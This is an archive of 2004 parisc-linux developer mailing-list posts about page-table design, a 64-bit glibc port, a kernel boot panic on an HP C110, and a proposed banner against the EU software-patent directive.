Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 043EE484C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Apr 2004 13:11:39 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3AJBaa05630; Sat, 10 Apr 2004 15:11:36 -0400
In-Reply-To: <20040410184946.GB7123@baldric.uwo.ca>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 10 Apr 2004 19:11:39 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21364

On Sat, 2004-04-10 at 14:49, Carlos O'Donell wrote:
> If we used an inverted page table with hashing it would be a single
> level page table, with good cache locality (less spread compared to a
> hierarchical table).

To be honest, I don't see the value of hashed page tables.  A two level
structure is about as optimal as you can get.  Particularly as the pgdir
will be cache hot (from the tlb refill misses).

In a hashed page table layout, you just have to have a page collision 
and you've already lost to the two level page table (because of the
cache hotness of pgdir).

In particular, on PA because of our congruence requirements for shared
mappings, it would be difficult to find an efficient hashing mechanism
that didn't generate deep collision chains (and remember, we're all
ILP32 at the moment, so just one collision and we lose to the 2 level).

James




From - Thu Nov 08 21:31:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for altering our Page Table layouts
Date: 10 Apr 2004 15:12:09 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <1081624329.1841.6.camel@mulgrave>
References: <1081513015.1759.5.camel@mulgrave> 
	<20040410184946.GB7123@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623357 8131 80.91.229.3 (22 Nov 2014 02:29:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:17 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: James.Bottomley@SteelEye.com  Sat Apr 10 13:12:11 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6836148C0
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Apr 2004 13:12:11 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3AJC9a05641; Sat, 10 Apr 2004 15:12:09 -0400
In-Reply-To: <20040410184946.GB7123@baldric.uwo.ca>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 10 Apr 2004 19:12:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21365

On Sat, 2004-04-10 at 14:49, Carlos O'Donell wrote:
> I've already started porting glibc, I'm convincing autoconf to traverse
> the right system dependency directories. Hasn't been too painful yet,
> I'm still writing the 64-bit dl-machine to handle the relocations
> though. I have it building an ld64.so.1 but it doesn't work yet :)

I didn't name names ;-)

But thanks for the effort.

James




From - Thu Nov 08 21:31:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
Date: Sat, 10 Apr 2004 21:19:44 +0000
Lines: 84
Approved: news@gmane.org
Message-ID: <407864F0.8090404@tiscali.be>
References: <405D95D0.9030600@tiscali.be>
	<20040321195716.GC12455@colo.lackof.org>
	<20040323045151.GA6190@colo.lackof.org> <40770BDF.10209@tiscali.be>
	<20040409211507.GB32385@colo.lackof.org>
	<4077B104.9030707@tiscali.be>
	<20040410181439.GA13387@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623358 8133 80.91.229.3 (22 Nov 2014 02:29:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:18 +0000 (UTC)
Cc: PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Sat Apr 10 15:19:45 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by dsl2.external.hp.com (Postfix) with ESMTP id D34324896
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Apr 2004 15:19:44 -0600 (MDT)
Original-Received: from [83.134.225.93] (port=33133 helo=tiscali.be)
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BCPt9-0006eD-4z; Sat, 10 Apr 2004 23:19:43 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040401 Debian/1.6-4
X-Accept-Language: en
In-Reply-To: <20040410181439.GA13387@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 10 Apr 2004 21:19:45 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21366



Grant Grundler wrote:
> On Sat, Apr 10, 2004 at 08:32:04AM +0000, Joel Soete wrote:
> 
>>I will so just reversed mentioned patches, check if it is the real
>>cause of my pb.
> 
> 
> ok
> 

Well I reach to reverted it and the result is a booting and operational kernel.
oops, my bad: I also reverted my config. Very stupid of my part, I just have re-do test; sorry

> 
>>If yes (I don't see what else) re-apply patch hunk by hunk until it breaks 
>>again?
> 
> 
> That won't work with the changes to ccio driver. It's all or nothing.
> 
(I see, any way there was 2 steps for this patch and I don't have the opportunity to test the first step alone?)
> 
>>Any better idea?
> 
> 
> I don't understand why C360 (James' machine) works and C110 (your machine)
> does not.  C110 doesn't have PCI and maybe different keyboard/LAN.
> Find out what is different between the two machines and see if ccio
> changes broke one of the drivers for the different HW.
> 
C110's Devices						      |	C360's Devices

Raven 120 T' (Processor)  (PA7200 (PCX-T'))		      |	Raven W 360 (9000/780/????) (Processor)  (PA8500 (PCX-W))
SkyHawk 100/120 (Memory)				      |	Raven W 360 Memory (Memory)
SkyHawk 100/120 FW-SCSI (A DMA) (Zalon driver)		      |	Raven U/L2 Dino RS-232 (Foreign I/O Module) (Serial driver)
Raven T' Core Centronics (Foreign I/O Module) (Parallel drive |	Raven+ w Core Centronics (Foreign I/O Module) (Paral
Raven T' Audio (Foreign I/O Module) (Harmony driver)	      |	Raven+ w Core Audio (Foreign I/O Module) (Harmony d
Raven T' Lasi Core RS-232 (Foreign I/O Module) (Serial driver |	Raven+ w Core RS-232 (Foreign I/O Module) (Serial d
Raven T' Core SCSI (Foreign I/O Module) (NCR53c710 driver)    |	Raven+ w Core SCSI (Foreign I/O Module) (NCR53c710
Raven T' Core LAN (802.3) (Foreign I/O Module) (Lasi_82596 dr |	Raven+ w Core PC Keyboard (Foreign I/O Module) (PS/
Raven T' Core PC Keyboard (Foreign I/O Module) (PS/2 driver)  |	Raven+ w Core BA (Bus Adapter) (Lasi driver)
Raven T' Core PC Floppy (Foreign I/O Module)		      <
Raven T' Wax HIL (Foreign I/O Module) (HIL driver)	      <
Raven T' Wax RS-232 (Foreign I/O Module) (Serial driver)      <
Raven T' GSC Core Graphics (Foreign I/O Module)		      <
Raven T' Core BA (Bus Adapter) (Lasi driver)		      <
Raven T' Wax BA (Bus Adapter) (Wax driver)		      <
Raven T' Wax EISA BA (Bus Adapter)			      <
U2-IOA BC Runway Port (IOA) (x2)				U2-IOA BC Runway Port (IOA) (x2)
							      >	Dino PCI Bridge (Bus Bridge to Foreign Bus) (Dino driver)
							      >	Cujo PCI Bridge (Bus Bridge to Foreign Bus) (Dino driver)
							      >
							      >	53c875 (Symbios Logic Inc. (formerly NCR)) (SYM8xx driver)
							      >	DECchip 21142/43 (Digital Equipment Corporation) (Tulip drive
							      >	Visualize FX4 (Hewlett-Packard Company)

This is diff -y of devices list grab from web h/w db (may be c360 list could be confirmed by James with a dmesg file?)
It help me to point out 2 big diff: scsi Zalon driver and Lasi_82596 Lan nic (I removed HIL modules simply because no device 
available).

That said the system always became to hang when I start a large disk i/o with a find into a linux kernel for example and also by 
accident I also start a kernel without Lasi module (and iirc the same pb occured) but in any case I could make it leave without 
Zalon driver; or did I miss something else in my .config (so much diff between the 2 config I used).

(C110 need long hours to compile the kernel :( but that is all I have at home)

> You might need to add pdc_io_reset_devices() to ccio_ioc_init()
> since we moved that out of the common code path.

hmm I don't see such stuff in patches I grab of jejb changes?
Any way I see what you did in sba_hw_init() (I will so be able to reproduce it ;) )

> I don't see that
> in CCIO driver and it's not clear to me if HIL or LAN need it on C110.
> 
> It *might* need pdc_io_reset() call instead (or in addition)
> but I don't know.  Just another thing to be aware of.
> 
Thanks for all kind advise (it will just take me much more test and so many time before I could figure out the actual pb)

Joel


From - Thu Nov 08 21:31:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for altering our Page Table layouts
Date: Sat, 10 Apr 2004 17:46:03 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <20040410214603.GC7123@baldric.uwo.ca>
References: <1081513015.1759.5.camel@mulgrave>
	<20040410184946.GB7123@baldric.uwo.ca>
	<1081624296.1841.4.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623358 8134 80.91.229.3 (22 Nov 2014 02:29:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:18 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: carlos@baldric.uwo.ca  Sat Apr 10 15:46:05 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep02-mail.bloor.is.net.cable.rogers.com
	(fep02-mail.bloor.is.net.cable.rogers.com [66.185.86.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3325C4838
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Apr 2004 15:46:05 -0600 (MDT)
Original-Received: from systemhalted ([24.43.36.210])
	by fep02-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040410214441.ZXPS39251.fep02-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Sat, 10 Apr 2004 17:44:41 -0400
Content-Disposition: inline
In-Reply-To: <1081624296.1841.4.camel@mulgrave>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
X-Mailer: Neural Implant (40% Sync Ratio [====......])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep02-mail.bloor.is.net.cable.rogers.com from [24.43.36.210]
	using ID <patofiero@rogers.com> at Sat,
	10 Apr 2004 17:44:41 -0400
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 10 Apr 2004 21:46:05 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21367

> To be honest, I don't see the value of hashed page tables.  A two level
> structure is about as optimal as you can get.  Particularly as the pgdir
> will be cache hot (from the tlb refill misses).
>
> In a hashed page table layout, you just have to have a page collision 
> and you've already lost to the two level page table (because of the
> cache hotness of pgdir).

While pgdir might be hot in cache, but the rest of the structures will
sprawl to fill the entire cache.

In contrast a hashed page table layout would be extremely dense, and fit
better in the cache. If you were to have a collision the likelyhood
that what you want is in the cache can actually be higher.

> In particular, on PA because of our congruence requirements for shared
> mappings, it would be difficult to find an efficient hashing mechanism
> that didn't generate deep collision chains (and remember, we're all
> ILP32 at the moment, so just one collision and we lose to the 2 level).

Huck & Hayes says "high va bits XOR low va bits."

http://www.baldric.uwo.ca/~carlos/Architectural-support-for-translation-table-management-in-large-address-space-machines.pdf

I've been doing some literature searches on the issue, mainly IEEE and
ACM over the last 10-20 years. Most of the research was done in the mid
90's and interestingly enough a lot of it has to do with PA's.

Read the paper at the above link and tell me what you think of the
16-byte PTE presented, and how the allocations happen on a single entry
by entry basis. Another author suggests that the HAT and the PDIR could
be merged (you'll have to read the paper to find out what I mean). I'm
not sure what to do about the aliasing restrictions...

c.



From - Thu Nov 08 21:31:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for altering our Page Table layouts
Date: 10 Apr 2004 19:22:16 -0400
Lines: 55
Approved: news@gmane.org
Message-ID: <1081639342.2567.10.camel@mulgrave>
References: <1081513015.1759.5.camel@mulgrave>
	<20040410184946.GB7123@baldric.uwo.ca>
	<1081624296.1841.4.camel@mulgrave> 
	<20040410214603.GC7123@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623358 8137 80.91.229.3 (22 Nov 2014 02:29:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:18 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: James.Bottomley@SteelEye.com  Sat Apr 10 17:22:33 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 085384855
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Apr 2004 17:22:33 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3ANMKa15977; Sat, 10 Apr 2004 19:22:21 -0400
In-Reply-To: <20040410214603.GC7123@baldric.uwo.ca>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 10 Apr 2004 23:22:33 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21368

On Sat, 2004-04-10 at 17:46, Carlos O'Donell wrote:
> While pgdir might be hot in cache, but the rest of the structures will
> sprawl to fill the entire cache.
> 
> In contrast a hashed page table layout would be extremely dense, and fit
> better in the cache. If you were to have a collision the likelyhood
> that what you want is in the cache can actually be higher.

Well, I challenge you to show me such a dense layout.

The reality in Linux is that the kernel is offset mapped (physical
addresses and virtual addresses differ by PAGE_OFFSET).  This means that
any hash head comes directly out of kernel allocated memory.  Further,
since our tlb miss handlers must operate in physical space, it has to be
physically contiguous.  Given glibc's somewhat prodigious appetite, our
average mapped pages per system process is about a thousand (obviously
not all hot).  That makes the hash size (given that you have to have 16
byte entries) about 16k.  Now look at graphics programs; just pulling in
X gnome/kde and we'll jump to 10,000 or 160k.  The latter is just not
possible (the maximum contiguous allocation is 128k, and we can't do one
of those per process and still live to tell the tale).

By contrast, a multi-level page table can be sparsely allocated and has
no physical contiguity requirements.  I'm willing to be proven wrong,
but I just can't see how we can allocate a cache large enough to avoid
common collisions given the Linux physical allocation constraints.  And
if we don't allocate it contiguously, it's performance is going to be
far worse than a two level lookup.

James


> > In particular, on PA because of our congruence requirements for shared
> > mappings, it would be difficult to find an efficient hashing mechanism
> > that didn't generate deep collision chains (and remember, we're all
> > ILP32 at the moment, so just one collision and we lose to the 2 level).
> 
> Huck & Hayes says "high va bits XOR low va bits."
> 
> http://www.baldric.uwo.ca/~carlos/Architectural-support-for-translation-table-management-in-large-address-space-machines.pdf
> 
> I've been doing some literature searches on the issue, mainly IEEE and
> ACM over the last 10-20 years. Most of the research was done in the mid
> 90's and interestingly enough a lot of it has to do with PA's.
> 
> Read the paper at the above link and tell me what you think of the
> 16-byte PTE presented, and how the allocations happen on a single entry
> by entry basis. Another author suggests that the HAT and the PDIR could
> be merged (you'll have to read the paper to find out what I mean). I'm
> not sure what to do about the aliasing restrictions...
> 
> c.




From - Thu Nov 08 21:31:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] European Union and Software-Patents
Date: Sun, 11 Apr 2004 00:18:54 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20040411061854.GD13387@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623359 8138 80.91.229.3 (22 Nov 2014 02:29:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: grundler@lackof.org  Sun Apr 11 00:18:55 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id BB208482F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Apr 2004 00:18:55 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 1C321298058
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Apr 2004 00:18:55 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 22022-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Apr 2004 00:18:54 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 77B9C298055; Sun, 11 Apr 2004 00:18:54 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 11 Apr 2004 06:18:56 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21369

Hi,
While SW patents seems slightly off topic because it's not directly
technical, I've been asked to put up a banner on www.parisc-linux.org
to protest the European Union SW patent directive.
Some examples of such banners are here:

	http://demo.ffii.org/online.php
	http://www.kde.org/
	http://bh.udev.org/

A bit more info is on
   http://yro.slashdot.org/yro/04/04/10/1627239.shtml?tid=117&tid=155&tid=99

Personnally, I have a hard time with SW patents though I understand
the general intent of patents. But given my affialation with HP,
HP's generous sponsorship of parisc-linux (web site hosting, servers,
HW donations), and HPs recent activities with IP (Intellectual Property),
I'm not the right person to implement such a banner without some
input from HP business or legal groups.

With a bit more private discussion (please send me opinions *privately*
if you have to), it's possible someone from the European Union with
CVS write access could add such a banner. parisc-linux.org should also
represent the volunteers that currently support the parisc-linux port,
not just HP.

thanks,
grant


From - Thu Nov 08 21:31:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] European Union and Software-Patents
Date: Sun, 11 Apr 2004 10:39:56 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <200404111039.56765.deller@gmx.de>
References: <20040411061854.GD13387@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623359 8140 80.91.229.3 (22 Nov 2014 02:29:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:19 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Sun Apr 11 02:41:14 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (imap.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 4D27D4838
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Apr 2004 02:41:13 -0600 (MDT)
Original-Received: (qmail 29502 invoked by uid 65534); 11 Apr 2004 08:41:11 -0000
Original-Received: from pD90407C5.dip.t-dialin.net (EHLO p100) (217.4.7.197)
	by mail.gmx.net (mp004) with SMTP; 11 Apr 2004 10:41:11 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.6.2
In-Reply-To: <20040411061854.GD13387@colo.lackof.org>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 11 Apr 2004 08:41:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21370

Hi Grant,
Hi List,

On Sunday 11 April 2004 08:18, Grant Grundler wrote:
> Hi,
> While SW patents seems slightly off topic because it's not directly
> technical, I've been asked to put up a banner on www.parisc-linux.org
> to protest the European Union SW patent directive.

Thanks for bringing this topic up on this list.

> Some examples of such banners are here:
> 
> 	http://demo.ffii.org/online.php
> 	http://www.kde.org/
> 	http://bh.udev.org/
> 
> A bit more info is on
>    http://yro.slashdot.org/yro/04/04/10/1627239.shtml?tid=117&tid=155&tid=99
> 
> Personnally, I have a hard time with SW patents though I understand
> the general intent of patents. But given my affialation with HP,
> HP's generous sponsorship of parisc-linux (web site hosting, servers,
> HW donations), and HPs recent activities with IP (Intellectual Property),
> I'm not the right person to implement such a banner without some
> input from HP business or legal groups.

Fully understandable.
Just to make sure - the demo is not against software patents in general,
it against unlimited patentability and thus against "simple patents", generic 
software things like e.g. progress bars, tabs in GUIs and so on. 
Just have look at demo webshop at the ffii.org website to see what kind of 
patents it's really about: http://webshop.ffii.org/
 
> With a bit more private discussion (please send me opinions *privately*
> if you have to), it's possible someone from the European Union with
> CVS write access could add such a banner. parisc-linux.org should also
> represent the volunteers that currently support the parisc-linux port,
> not just HP.

I'm willing to put up a box on the website as you can see on http://www.kde.org/
if people here on the list agree to this. Since the decisions in brussels will happen
on april 15th, I need to know your opinions on this really soon.

Helge Deller
Germany


From - Thu Nov 08 21:31:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for altering our Page Table layouts
Date: 11 Apr 2004 08:13:57 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <1081689238.2037.2.camel@mulgrave>
References: <200404091438.i39Ec4Q23610@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623359 8143 80.91.229.3 (22 Nov 2014 02:29:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:19 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: James.Bottomley@SteelEye.com  Sun Apr 11 07:23:27 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 47522482F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Apr 2004 07:23:27 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3BDDwa23219; Sun, 11 Apr 2004 09:13:58 -0400
